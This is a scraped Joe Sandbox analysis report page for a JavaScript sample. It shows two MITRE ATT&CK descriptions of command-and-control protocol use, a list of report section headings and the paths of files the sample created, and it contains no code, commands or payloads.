Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 382215884163542302.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7ba58809-839c-4cf8-a045-7d6d9e063227.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8092

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
382215884163542302.js